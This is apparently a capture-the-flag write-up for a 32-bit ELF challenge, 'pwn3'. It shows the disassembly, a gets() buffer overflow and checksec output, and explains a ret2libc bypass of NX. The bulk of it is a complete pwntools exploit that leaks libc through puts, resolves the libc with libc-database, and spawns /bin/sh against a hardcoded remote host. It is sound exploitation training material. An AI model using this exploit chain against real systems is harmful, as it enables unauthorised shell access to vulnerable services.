Tags: ret2libc binaryexploitation leak pwntools pwnable bufferoverflow libc pwn libc_database
Rating: 3.7
[+] First of all check the binary file and execute
$ file pwn3
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ce51da8814e47e16a2df43c69d5c6ee12cc9bbd8, not stripped
$./pwn3
I am hungry you have to feed me to win this challenge.
Now give me some sweet desert.
```
AAAA
```
[+] Let's see in GDB. The ELF is not stripped so we can disassemble easily.
gdb-peda$ disas main
```
Dump of assembler code for function main:
0x0804847d <+0>: push ebp
0x0804847e <+1>: mov ebp,esp
0x08048480 <+3>: and esp,0xfffffff0
0x08048483 <+6>: sub esp,0x90
0x08048489 <+12>: mov eax,ds:0x80497e0
0x0804848e <+17>: mov DWORD PTR [esp+0xc],0x0
0x08048496 <+25>: mov DWORD PTR [esp+0x8],0x2
0x0804849e <+33>: mov DWORD PTR [esp+0x4],0x0
0x080484a6 <+41>: mov DWORD PTR [esp],eax
0x080484a9 <+44>: call 0x8048370 <setvbuf@plt>
0x080484ae <+49>: mov DWORD PTR [esp],0x8048570
0x080484b5 <+56>: call 0x8048340 <puts@plt>
0x080484ba <+61>: mov DWORD PTR [esp],0x80485ac
0x080484c1 <+68>: call 0x8048340 <puts@plt>
0x080484c6 <+73>: lea eax,[esp+0x10]
0x080484ca <+77>: mov DWORD PTR [esp],eax
0x080484cd <+80>: call 0x8048330 <gets@plt>
0x080484d2 <+85>: mov eax,0x0
0x080484d7 <+90>: leave
0x080484d8 <+91>: ret
End of assembler dump.
```
[+] gets() function is being used. gets() is dangerous because it provides a way of buffer overflow attack or an error. The function gets() work in a way that it reads data form standard input stream until a new line is found.
Possibly a buffer overflow.
0x080484cd <+80>: call 0x8048330 <gets@plt>
[+] Let's check sec of binary.
gdb-peda$ checksec
```
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
```
NX is enabled this suggests that if there is buffer overflow, we will use the ret2libc
[+] Let's try to crash the binary:
$ python -c 'print "A" *300' | ./pwn3
I am hungry you have to feed me to win this challenge
Now give me some sweet desert
```
Segmentation fault
```
It is clear that it is buffer overflow.
Of course this would be easy to run locally, working with something like this:
```from pwn import *
buf = ""
buf += "A"*140 #OVERWRITE STACK
buf += p32(system_addr) #OVERWRITE EIP with system acquired through: readelf -s your_libc | grep puts
buf += p32(fake_return) #FAKE RETURN
buf += p32(bin_sh) #ARGUMENT OF SYSTEM with plt entry of puts acquired through: strings -a -t x your_libc | grep "/bin/sh"
```
Note: In 32-bit architecture arguments are passed on the stack so we do not need gadgets.
False return is necessary because the system() function needs to be returned and without this your payload would be misaligned on the stack
[+] We know there is a buffer overflow and that nx is enabled. To make the NX bypass, we can use ret2libc.
but ... the big question is how to do this remotely?
How to know which libc is being used on the remote host?
1 - First of all we need to know that we will have to leak the libc address, this will also give us an advantage over ALSR if it is active on the remote host. For this to happen you need to overwrite the EIP with the PLT of puts and pass as an argument the GOT of some function. In our case I used the puts
2 - Knowing the address of libc, we can find out which libc the binary is using on the remote server. See https://github.com/niklasb/libc-database
3 - Now with the right libc, we can properly calculate the libc base and extract the necessary offsets for /bin/sh, system, puts. With the address of the libc base added to the offsets of / bin / sh and system respectively we will arrive at the complete address of where they are
4 - Do you remember the fake return? The difference is that we now need to point it to main, because the exploit needs to work in two parts.
Leak an address from libc and return to main + ret2libc == got shell
See exploit below:
```
import struct
import socket
from pwn import *
########################## [REMOTE EXPLOIT] by M4ST3R3K ##########################
###[PWN3]###
context(arch = 'i386', os = 'linux', endian = 'little')
#################### STAGE1 ####################
puts_plt = 0x8048340 #objdump -D pwn3 | grep puts
puts_got = 0x80497b0 #objdump -R pwn3 | grep puts
main = 0x804847d #objdump -D pwn3 | grep main
buf = ""
buf += "A"*140 #junk
buf += p32(puts_plt) #plt entry of puts
buf += p32(main) #return to main
buf += p32(puts_got) #got entry of puts
s = remote('104.154.106.182', 4567)
log.info("Stage 1: ...Leaking Memory")
print ''
print s.recv()
s.sendline(buf)
received = s.recvline()
print received
leaked_puts_got = received[:4].strip().ljust(4, '\x00')
leaked_puts_got = u32(leaked_puts_got)
addrs = hex(leaked_puts_got)
leaked_puts_got = int(addrs, 16)
log.success("Leaked remote libc address: " + addrs)
print ''
#################### STAGE2 ####################
#---> libc obtained through the leak of the got puts address <---#
#libc6_2.19-0ubuntu6.14_i386
#---> dump of offsets obtained with libc-database <--- # https://github.com/niklasb/libc-database
#offset___libc_start_main_ret = 0x19af3
#offset_system = 0x00040310
#offset_dup2 = 0x000ddda0
#offset_read = 0x000dd3e0
#offset_write = 0x000dd460
#offset_str_bin_sh = 0x162d4c
offset_bin_sh = 0x162d4c
offset_system = 0x40310
offset_puts = 0x657e0
libc_base = leaked_puts_got - offset_puts
system_addr = libc_base + offset_system
fake_addr = 0xbeefdead
bin_sh_addr = libc_base + offset_bin_sh
buf = ""
buf += "A"*132 #junk (in the second part of the exploration the payload had to be aligned. Obtained through debugger).
buf += p32(system_addr) #system into libc
buf += p32(fake_addr) #fake return address
buf += p32(bin_sh_addr) #/bin/sh into libc
log.info("Stage 2: ...Obtaining Shell ")
print ''
s.sendline(buf)
s.interactive()
```
Good Explanation